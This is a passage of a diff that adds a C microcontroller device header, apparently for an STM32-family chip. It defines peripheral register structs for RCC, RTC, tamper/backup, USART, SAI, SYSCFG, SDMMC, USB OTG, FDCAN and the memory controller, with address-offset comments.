Peripherals Clock Enable Register 2 Address offset: 0x90 */ + __IO uint32_t AHB3ENR; /*!< AHB3 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1ENR1; /*!< APB1 Peripherals Clock Enable Register 1 Address offset: 0x9C */ + __IO uint32_t APB1ENR2; /*!< APB1 Peripherals Clock Enable Register 2 Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1SMENR; /*!< AHB1 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xB0 */ + __IO uint32_t AHB2SMENR1; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xB4 */ + __IO uint32_t AHB2SMENR2; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xB8 */ + __IO uint32_t AHB3SMENR; /*!< AHB3 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xBC */ + uint32_t RESERVED8; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1SMENR1; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xC4 */ + __IO uint32_t APB1SMENR2; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xC8 */ + __IO uint32_t APB2SMENR; /*!< APB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xCC */ + __IO uint32_t APB3SMENR; /*!< APB3 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xD0 */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t SRDAMR; /*!< SRD Autonomous Mode Register Address offset: 0xD8 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0xDC */ + __IO uint32_t CCIPR1; /*!< IPs Clocks Configuration Register 1 Address offset: 0xE0 */ + __IO uint32_t CCIPR2; /*!< IPs Clocks Configuration Register 2 Address offset: 0xE4 */ + __IO uint32_t CCIPR3; /*!< IPs Clocks Configuration Register 3 Address offset: 0xE8 */ + uint32_t RESERVED11; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< Backup Domain Control Register Address offset: 0xF0 */ + __IO uint32_t CSR; /*!< V33 Clock Control & Status Register Address offset: 0xF4 */ + uint32_t RESERVED[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC secure configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + uint32_t RESERVED4[4];/*!< Reserved, Address offset: 0x58 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP configuration register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP configuration register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP configuration register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register,Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNTR; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[4]; /*!< Reserved, Address offset: 0x43 -- 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42]; /*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ + __IO uint32_t AUTOCR; /*!< USART Autonomous mode control register Address offset: 0x30 */ +} USART_TypeDef; + +/** + * @brief Serial Audio Interface + */ +typedef struct +{ + __IO uint32_t GCR; /*!< SAI global configuration register, Address offset: 0x00 */ + uint32_t RESERVED[16]; /*!< Reserved, Address offset: 0x04 to 0x40 */ + __IO uint32_t PDMCR; /*!< SAI PDM control register, Address offset: 0x44 */ + __IO uint32_t PDMDLY; /*!< SAI PDM delay register, Address offset: 0x48 */ +} SAI_TypeDef; + +typedef struct +{ + __IO uint32_t CR1; /*!< SAI block x configuration register 1, Address offset: 0x04 */ + __IO uint32_t CR2; /*!< SAI block x configuration register 2, Address offset: 0x08 */ + __IO uint32_t FRCR; /*!< SAI block x frame configuration register, Address offset: 0x0C */ + __IO uint32_t SLOTR; /*!< SAI block x slot register, Address offset: 0x10 */ + __IO uint32_t IMR; /*!< SAI block x interrupt mask register, Address offset: 0x14 */ + __IO uint32_t SR; /*!< SAI block x status register, Address offset: 0x18 */ + __IO uint32_t CLRFR; /*!< SAI block x clear flag register, Address offset: 0x1C */ + __IO uint32_t DR; /*!< SAI block x data register, Address offset: 0x20 */ +} SAI_Block_TypeDef; + +/** + * @brief System configuration controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< SYSCFG secure configuration register, Address offset: 0x00 */ + __IO uint32_t CFGR1; /*!< SYSCFG configuration register 1, Address offset: 0x04 */ + __IO uint32_t FPUIMR; /*!< SYSCFG FPU interrupt mask register, Address offset: 0x08 */ + __IO uint32_t CNSLCKR; /*!< SYSCFG CPU non-secure lock register, Address offset: 0x0C */ + __IO uint32_t CSLCKR; /*!< SYSCFG CPU secure lock register, Address offset: 0x10 */ + __IO uint32_t CFGR2; /*!< SYSCFG configuration register 2, Address offset: 0x14 */ + __IO uint32_t MESR; /*!< SYSCFG Memory Erase Status register, Address offset: 0x18 */ + __IO uint32_t CCCSR; /*!< SYSCFG Conpensaion Cell Control&Status register, Address offset: 0x1C */ + __IO uint32_t CCVR; /*!< SYSCFG Conpensaion Cell value register, Address offset: 0x20 */ + __IO uint32_t CCCR; /*!< SYSCFG Conpensaion Cell Code register, Address offset: 0x24 */ + uint32_t RESERVED1; /*!< RESERVED1, Address offset: 0x28 */ + __IO uint32_t RSSCMDR; /*!< SYSCFG RSS command mode register, Address offset: 0x2C */ + uint32_t RESERVED2[17]; /*!< RESERVED2, Address offset: 0x30 - 0x70 */ + __IO uint32_t OTGHSPHYCR; /*!< SYSCFG USB OTG_HS PHY register Address offset: 0x74 */ + uint32_t RESERVED3; /*!< RESERVED3, Address offset: 0x78 */ + __IO uint32_t OTGHSPHYTUNER2; /*!< SYSCFG USB OTG_HS PHY tune register 2 Address offset: 0x7C */ +} SYSCFG_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + __IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + +/** + * @brief UCPD + */ +typedef struct +{ + __IO uint32_t CFG1; /*!< UCPD configuration register 1, Address offset: 0x00 */ + __IO uint32_t CFG2; /*!< UCPD configuration register 2, Address offset: 0x04 */ + __IO uint32_t CFG3; /*!< UCPD configuration register 3, Address offset: 0x08 */ + __IO uint32_t CR; /*!< UCPD control register, Address offset: 0x0C */ + __IO uint32_t IMR; /*!< UCPD interrupt mask register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< UCPD status register, Address offset: 0x14 */ + __IO uint32_t ICR; /*!< UCPD interrupt flag clear register Address offset: 0x18 */ + __IO uint32_t TX_ORDSET; /*!< UCPD Tx ordered set type register, Address offset: 0x1C */ + __IO uint32_t TX_PAYSZ; /*!< UCPD Tx payload size register, Address offset: 0x20 */ + __IO uint32_t TXDR; /*!< UCPD Tx data register, Address offset: 0x24 */ + __IO uint32_t RX_ORDSET; /*!< UCPD Rx ordered set type register, Address offset: 0x28 */ + __IO uint32_t RX_PAYSZ; /*!< UCPD Rx payload size register, Address offset: 0x2C */ + __IO uint32_t RXDR; /*!< UCPD Rx data register, Address offset: 0x30 */ + __IO uint32_t RX_ORDEXT1; /*!< UCPD Rx ordered set extension 1 register, Address offset: 0x34 */ + __IO uint32_t RX_ORDEXT2; /*!< UCPD Rx ordered set extension 2 register, Address offset: 0x38 */ +} UCPD_TypeDef; + +/** + * @brief USB_OTG_Core_register + */ +typedef struct +{ + __IO uint32_t GOTGCTL; /*!< USB_OTG Control and Status Register, Address offset: 000h */ + __IO uint32_t GOTGINT; /*!< USB_OTG Interrupt Register, Address offset: 004h */ + __IO uint32_t GAHBCFG; /*!< Core AHB Configuration Register, Address offset: 008h */ + __IO uint32_t GUSBCFG; /*!< Core USB Configuration Register, Address offset: 00Ch */ + __IO uint32_t GRSTCTL; /*!< Core Reset Register, Address offset: 010h */ + __IO uint32_t GINTSTS; /*!< Core Interrupt Register, Address offset: 014h */ + __IO uint32_t GINTMSK; /*!< Core Interrupt Mask Register, Address offset: 018h */ + __IO uint32_t GRXSTSR; /*!< Receive Sts Q Read Register, Address offset: 01Ch */ + __IO uint32_t GRXSTSP; /*!< Receive Sts Q Read & POP Register, Address offset: 020h */ + __IO uint32_t GRXFSIZ; /*!< Receive FIFO Size Register, Address offset: 024h */ + __IO uint32_t DIEPTXF0_HNPTXFSIZ; /*!< EP0 / Non Periodic Tx FIFO Size Register, Address offset: 028h */ + __IO uint32_t HNPTXSTS; /*!< Non Periodic Tx FIFO/Queue Sts reg, Address offset: 02Ch */ + __IO uint32_t Reserved30[2]; /*!< Reserved, Address offset: 030h */ + __IO uint32_t GCCFG; /*!< General Purpose IO Register, Address offset: 038h */ + __IO uint32_t CID; /*!< User ID Register, Address offset: 03Ch */ + __IO uint32_t GSNPSID; /*!< USB_OTG core ID, Address offset: 040h */ + __IO uint32_t GHWCFG1; /*!< User HW config1, Address offset: 044h */ + __IO uint32_t GHWCFG2; /*!< User HW config2, Address offset: 048h */ + __IO uint32_t GHWCFG3; /*!< User HW config3, Address offset: 04Ch */ + __IO uint32_t Reserved6; /*!< Reserved, Address offset: 050h */ + __IO uint32_t GLPMCFG; /*!< LPM Register, Address offset: 054h */ + __IO uint32_t GPWRDN; /*!< Power Down Register, Address offset: 058h */ + __IO uint32_t GDFIFOCFG; /*!< DFIFO Software Config Register, Address offset: 05Ch */ + __IO uint32_t GADPCTL; /*!< ADP Timer, Control and Status Register, Address offset: 60Ch */ + __IO uint32_t Reserved43[39]; /*!< Reserved, Address offset: 058h */ + __IO uint32_t HPTXFSIZ; /*!< Host Periodic Tx FIFO Size Reg, Address offset: 100h */ + __IO uint32_t DIEPTXF[0x0F]; /*!< dev Periodic Transmit FIFO Address offset: 104h */ +} USB_OTG_GlobalTypeDef; + +/** + * @brief USB_OTG_device_Registers + */ +typedef struct +{ + __IO uint32_t DCFG; /*!< dev Configuration Register, Address offset: 800h */ + __IO uint32_t DCTL; /*!< dev Control Register, Address offset: 804h */ + __IO uint32_t DSTS; /*!< dev Status Register (RO), Address offset: 808h */ + uint32_t Reserved0C; /*!< Reserved, Address offset: 80Ch */ + __IO uint32_t DIEPMSK; /*!< dev IN Endpoint Mask, Address offset: 810h */ + __IO uint32_t DOEPMSK; /*!< dev OUT Endpoint Mask, Address offset: 814h */ + __IO uint32_t DAINT; /*!< dev All Endpoints Itr Reg, Address offset: 818h */ + __IO uint32_t DAINTMSK; /*!< dev All Endpoints Itr Mask, Address offset: 81Ch */ + uint32_t Reserved20; /*!< Reserved, Address offset: 820h */ + uint32_t Reserved9; /*!< Reserved, Address offset: 824h */ + __IO uint32_t DVBUSDIS; /*!< dev VBUS discharge Register, Address offset: 828h */ + __IO uint32_t DVBUSPULSE; /*!< dev VBUS Pulse Register, Address offset: 82Ch */ + __IO uint32_t DTHRCTL; /*!< dev threshold, Address offset: 830h */ + __IO uint32_t DIEPEMPMSK; /*!< dev empty msk, Address offset: 834h */ + __IO uint32_t DEACHINT; /*!< dedicated EP interrupt, Address offset: 838h */ + __IO uint32_t DEACHMSK; /*!< dedicated EP msk, Address offset: 83Ch */ + uint32_t Reserved40; /*!< dedicated EP mask, Address offset: 840h */ + __IO uint32_t DINEP1MSK; /*!< dedicated EP mask, Address offset: 844h */ + uint32_t Reserved44[15]; /*!< Reserved, Address offset: 844-87Ch */ + __IO uint32_t DOUTEP1MSK; /*!< dedicated EP msk, Address offset: 884h */ +} USB_OTG_DeviceTypeDef; + + +/** + * @brief USB_OTG_IN_Endpoint-Specific_Register + */ +typedef struct +{ + __IO uint32_t DIEPCTL; /*!< dev IN Endpoint Control Register, Address offset: 900h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 04h */ + __IO uint32_t DIEPINT; /*!< dev IN Endpoint Itr Register, Address offset: 900h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DIEPTSIZ; /*!< IN Endpoint Txfer Size Register, Address offset: 900h + (ep_num * 20h) + 10h */ + __IO uint32_t DIEPDMA; /*!< IN Endpoint DMA Address Register, Address offset: 900h + (ep_num * 20h) + 14h */ + __IO uint32_t DTXFSTS; /*!< IN Endpoint Tx FIFO Status Register, Address offset: 900h + (ep_num * 20h) + 18h */ + __IO uint32_t Reserved18; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 1Ch */ +} USB_OTG_INEndpointTypeDef; + +/** + * @brief USB_OTG_OUT_Endpoint-Specific_Registers + */ +typedef struct +{ + __IO uint32_t DOEPCTL; /*!< dev OUT Endpoint Control Register, Address offset: B00h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 04h */ + __IO uint32_t DOEPINT; /*!< dev OUT Endpoint Itr Register, Address offset: B00h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DOEPTSIZ; /*!< dev OUT Endpoint Txfer Size Register, Address offset: B00h + (ep_num * 20h) + 10h */ + __IO uint32_t DOEPDMA; /*!< dev OUT Endpoint DMA Address Register, Address offset: B00h + (ep_num * 20h) + 14h */ + __IO uint32_t Reserved18[2]; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 18h */ +} USB_OTG_OUTEndpointTypeDef; + +/** + * @brief USB_OTG_Host_Mode_Register_Structures + */ +typedef struct +{ + __IO uint32_t HCFG; /*!< Host Configuration Register, Address offset: 400h */ + __IO uint32_t HFIR; /*!< Host Frame Interval Register, Address offset: 404h */ + __IO uint32_t HFNUM; /*!< Host Frame Nbr/Frame Remaining, Address offset: 408h */ + uint32_t Reserved40C; /*!< Reserved, Address offset: 40Ch */ + __IO uint32_t HPTXSTS; /*!< Host Periodic Tx FIFO/ Queue Status, Address offset: 410h */ + __IO uint32_t HAINT; /*!< Host All Channels Interrupt Register, Address offset: 414h */ + __IO uint32_t HAINTMSK; /*!< Host All Channels Interrupt Mask, Address offset: 418h */ +} USB_OTG_HostTypeDef; + +/** + * @brief USB_OTG_Host_Channel_Specific_Registers + */ +typedef struct +{ + __IO uint32_t HCCHAR; /*!< Host Channel Characteristics Register, Address offset: 500h */ + __IO uint32_t HCSPLT; /*!< Host Channel Split Control Register, Address offset: 504h */ + __IO uint32_t HCINT; /*!< Host Channel Interrupt Register, Address offset: 508h */ + __IO uint32_t HCINTMSK; /*!< Host Channel Interrupt Mask Register, Address offset: 50Ch */ + __IO uint32_t HCTSIZ; /*!< Host Channel Transfer Size Register, Address offset: 510h */ + __IO uint32_t HCDMA; /*!< Host Channel DMA Address Register, Address offset: 514h */ + uint32_t Reserved[2]; /*!< Reserved, Address offset: 518h */ +} USB_OTG_HostChannelTypeDef; + +/** + * @brief FD Controller Area Network + */ +typedef struct +{ + __IO uint32_t CREL; /*!< FDCAN Core Release register, Address offset: 0x000 */ + __IO uint32_t ENDN; /*!< FDCAN Endian register, Address offset: 0x004 */ + uint32_t RESERVED1; /*!< Reserved, 0x008 */ + __IO uint32_t DBTP; /*!< FDCAN Data Bit Timing & Prescaler register, Address offset: 0x00C */ + __IO uint32_t TEST; /*!< FDCAN Test register, Address offset: 0x010 */ + __IO uint32_t RWD; /*!< FDCAN RAM Watchdog register, Address offset: 0x014 */ + __IO uint32_t CCCR; /*!< FDCAN CC Control register, Address offset: 0x018 */ + __IO uint32_t NBTP; /*!< FDCAN Nominal Bit Timing & Prescaler register, Address offset: 0x01C */ + __IO uint32_t TSCC; /*!< FDCAN Timestamp Counter Configuration register, Address offset: 0x020 */ + __IO uint32_t TSCV; /*!< FDCAN Timestamp Counter Value register, Address offset: 0x024 */ + __IO uint32_t TOCC; /*!< FDCAN Timeout Counter Configuration register, Address offset: 0x028 */ + __IO uint32_t TOCV; /*!< FDCAN Timeout Counter Value register, Address offset: 0x02C */ + uint32_t RESERVED2[4]; /*!< Reserved, 0x030 - 0x03C */ + __IO uint32_t ECR; /*!< FDCAN Error Counter register, Address offset: 0x040 */ + __IO uint32_t PSR; /*!< FDCAN Protocol Status register, Address offset: 0x044 */ + __IO uint32_t TDCR; /*!< FDCAN Transmitter Delay Compensation register, Address offset: 0x048 */ + uint32_t RESERVED3; /*!< Reserved, 0x04C */ + __IO uint32_t IR; /*!< FDCAN Interrupt register, Address offset: 0x050 */ + __IO uint32_t IE; /*!< FDCAN Interrupt Enable register, Address offset: 0x054 */ + __IO uint32_t ILS; /*!< FDCAN Interrupt Line Select register, Address offset: 0x058 */ + __IO uint32_t ILE; /*!< FDCAN Interrupt Line Enable register, Address offset: 0x05C */ + uint32_t RESERVED4[8]; /*!< Reserved, 0x060 - 0x07C */ + __IO uint32_t RXGFC; /*!< FDCAN Global Filter Configuration register, Address offset: 0x080 */ + __IO uint32_t XIDAM; /*!< FDCAN Extended ID AND Mask register, Address offset: 0x084 */ + __IO uint32_t HPMS; /*!< FDCAN High Priority Message Status register, Address offset: 0x088 */ + uint32_t RESERVED5; /*!< Reserved, 0x08C */ + __IO uint32_t RXF0S; /*!< FDCAN Rx FIFO 0 Status register, Address offset: 0x090 */ + __IO uint32_t RXF0A; /*!< FDCAN Rx FIFO 0 Acknowledge register, Address offset: 0x094 */ + __IO uint32_t RXF1S; /*!< FDCAN Rx FIFO 1 Status register, Address offset: 0x098 */ + __IO uint32_t RXF1A; /*!< FDCAN Rx FIFO 1 Acknowledge register, Address offset: 0x09C */ + uint32_t RESERVED6[8]; /*!< Reserved, 0x0A0 - 0x0BC */ + __IO uint32_t TXBC; /*!< FDCAN Tx Buffer Configuration register, Address offset: 0x0C0 */ + __IO uint32_t TXFQS; /*!< FDCAN Tx FIFO/Queue Status register, Address offset: 0x0C4 */ + __IO uint32_t TXBRP; /*!< FDCAN Tx Buffer Request Pending register, Address offset: 0x0C8 */ + __IO uint32_t TXBAR; /*!< FDCAN Tx Buffer Add Request register, Address offset: 0x0CC */ + __IO uint32_t TXBCR; /*!< FDCAN Tx Buffer Cancellation Request register, Address offset: 0x0D0 */ + __IO uint32_t TXBTO; /*!< FDCAN Tx Buffer Transmission Occurred register, Address offset: 0x0D4 */ + __IO uint32_t TXBCF; /*!< FDCAN Tx Buffer Cancellation Finished register, Address offset: 0x0D8 */ + __IO uint32_t TXBTIE; /*!< FDCAN Tx Buffer Transmission Interrupt Enable register, Address offset: 0x0DC */ + __IO uint32_t TXBCIE; /*!< FDCAN Tx Buffer Cancellation Finished Interrupt Enable register, Address offset: 0x0E0 */ + __IO uint32_t TXEFS; /*!< FDCAN Tx Event FIFO Status register, Address offset: 0x0E4 */ + __IO uint32_t TXEFA; /*!< FDCAN Tx Event FIFO Acknowledge register, Address offset: 0x0E8 */ +} FDCAN_GlobalTypeDef; + +/** + * @brief FD Controller Area Network Configuration + */ +typedef struct +{ + __IO uint32_t CKDIV; /*!< FDCAN clock divider register, Address offset: 0x100 + 0x000 */ + uint32_t RESERVED1[128];/*!< Reserved, 0x100 + 0x004 - 0x100 + 0x200 */ + __IO uint32_t OPTR; /*!< FDCAN option register, Address offset: 0x100 + 0x204 */ + uint32_t RESERVED2[58];/*!< Reserved, 0x100 + 0x208 - 0x100 + 0x2EC */ + __IO uint32_t HWCFG; /*!< FDCAN hardware configuration register, Address offset: 0x100 + 0x2F0 */ + __IO uint32_t VERR; /*!< FDCAN IP version register, Address offset: 0x100 + 0x2F4 */ + __IO uint32_t IPIDR; /*!< FDCAN IP ID register, Address offset: 0x100 + 0x2F8 */ + __IO uint32_t SIDR; /*!< FDCAN size ID register, Address offset: 0x100 + 0x2FC */ +} FDCAN_Config_TypeDef; + +/** + * @brief Flexible Memory Controller + */ +typedef struct +{ + __IO uint32_t BTCR[8]; /*!< NOR/PSRAM chip-select control register(BCR) and chip-select timing register(BTR), Address offset: 0x00-1C */ + __IO uint32_t PCSCNTR; /*!< PSRAM chip-select counter register, Address offset: 0x20 */ +} 